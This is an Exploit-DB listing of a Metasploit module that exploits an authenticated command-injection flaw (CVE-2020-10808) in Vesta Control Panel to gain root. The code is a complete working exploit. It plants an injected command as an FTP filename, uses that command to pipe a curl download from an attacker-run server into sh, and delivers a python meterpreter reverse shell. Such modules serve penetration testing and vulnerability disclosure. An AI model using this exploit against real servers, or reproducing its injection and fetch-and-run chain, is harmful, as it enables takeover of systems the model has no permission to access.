Vesta Control Panel 0.9.8-26 - Authenticated Remote Code Execution (Metasploit)

EDB-ID:

48294

CVE:

N/A




Platform:

Multiple

Date:

2020-04-06


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Vesta Control Panel Authenticated Remote Code Execution",
      'Description'    => %q{
        This module exploits command injection vulnerability in v-list-user-backups bash script file.
        Low privileged authenticated users can execute arbitrary commands under the context of the root user.

        An authenticated attacker with a low privileges can inject a payload in the file name starts with dot.
        During the user backup process, this file name will be evaluated by the v-user-backup bash scripts. As
        result of that backup process, when an attacker try to list existing backups injected payload will be
        executed.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'],
          ['CVE', '2020-10808']
        ],
      'DefaultOptions'  =>
        {
          'SSL' => true,
          'RPORT' => 8083,
          'WfsDelay' => 300,
          'Payload' => 'python/meterpreter/reverse_tcp'
        },
      'Platform'       => ['python'],
      'Arch'           => ARCH_PYTHON,
      'Targets'        => [[ 'Automatic', { }]],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 17 2020",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(8083),
        OptString.new('USERNAME', [true, 'The username to login as']),
        OptString.new('PASSWORD', [true, 'The password to login with']),
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
      ]
    )
    deregister_options('FTPUSER', 'FTPPASS')
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def login
    #
    # This is very simple login process. Nothing important.
    # We will be using cookie and csrf_token across the module so that we are global variable.
    #
    print_status('Retrieving cookie and csrf token values')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login', '/'),
    })

    if res && res.code == 200 && !res.get_cookies.empty?
      @cookie = res.get_cookies
      @csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''
      if @csrf_token.empty?
        fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
      end
    else
      fail_with(Failure::Unknown, 'Something went wrong.')
    end
    print_good('Cookie and CSRF token values successfully retrieved')

    print_status('Authenticating to HTTP Service with given credentials')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login', '/'),
      'cookie' => @cookie,
      'vars_post' => {
        'token'    => @csrf_token,
        'user'     => username,
        'password' => password
      }
    })

    if res && res.code == 302 && !res.get_cookies.empty?
      print_good('Successfully authenticated to the HTTP Service')
      @cookie = res.get_cookies
    else
      fail_with(Failure::Unknown, 'Credentials are not valid.')
    end
  end

  def is_scheduled_backup_running
    res = trigger_scheduled_backup
    #
    # MORE explaination.
    #
    if res && res.code == 302
      res = trigger_payload
      if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')
        return true
      else
        print_good('It seems scheduled backup is done ..! Triggerring payload <3')
        return false
      end
    else
      fail_with(Failure::Unknown, 'Something went wrong. Did you get your session ?')
    end
    return false
  end

  def trigger_payload
    res = send_request_cgi({
      'method' => 'GET',
      'cookie' => @cookie,
      'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),
    })
    if res && res.code == 200
      res
    else
      fail_with(Failure::Unknown, 'Something went wrong. Maybe session timed out ?')
    end
  end

  def trigger_scheduled_backup
    res = send_request_cgi({
      'method' => 'GET',
      'cookie' => @cookie,
      'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),
    })
    if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\//
      res
    else
      fail_with(Failure::Unknown, 'Something went wrong.')
    end
  end

  def payload_implant
    #
    # Our payload will be placed as a file name on FTP service.
    # Payload lenght can't be more then 255 and SPACE can't be used because of the
    # bug in the backend software. Due to these limitations, I used web delivery method.
    #
    # When the initial payload executed. It will execute very short perl command, which is going to fetch
    # actual python meterpreter first stager and execute it.
    #
    final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first
    p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"

    # Yet another datastore variable overriding.
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end
    port_restore = datastore['RPORT']
    datastore['RPORT'] = 21
    datastore['FTPUSER'] = username
    datastore['FTPPASS'] = password

    #
    # Connecting to the FTP service with same creds as web ui.
    # Implanting the very first stage of payload as a empty file.
    #
    if (not connect_login)
      fail_with(Failure::Unknown, 'Unable to authenticate to FTP service')
    end
    print_good('Successfully authenticated to the FTP service')

    res = send_cmd_data(['PUT', ".a';$(#{p});'"], "")
    if res.nil?
      fail_with(Failure::UnexpectedReply, "Failed to upload the payload to FTP server")
    end
    print_good('Successfully uploaded the payload as a file name')
    disconnect

    # Revert datastore variables.
    datastore['RPORT'] = port_restore
    datastore['SSL'] = true if ssl_restore
  end

  def exploit
    start_http_server
    payload_implant
    login
    trigger_scheduled_backup
    print_good('Scheduled backup has ben started. Exploitation may take up to 5 minutes.')
    while is_scheduled_backup_running == true
      print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')
      Rex.sleep(30)
    end
    stop_service
  end

  def on_request_uri(cli, request)
    print_good('First stage is executed ! Sending 2nd stage of the payload')
    second_stage = "python -c \"#{payload.encoded}\""
    send_response(cli, second_stage, {'Content-Type'=>'text/html'})
  end

  def start_http_server
    #
    # HttpClient and HttpServer use same SSL variable :(
    # We don't need a SSL for payload delivery.
    #
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end
    start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
    }})
    print_status("Second payload download URI is #{get_uri}")
    # We need that global variable since get_uri keep using SSL from datastore
    # We have to get the URI before restoring the SSL.
    @second_stage_url = get_uri
    datastore['SSL'] = true if ssl_restore
  end
end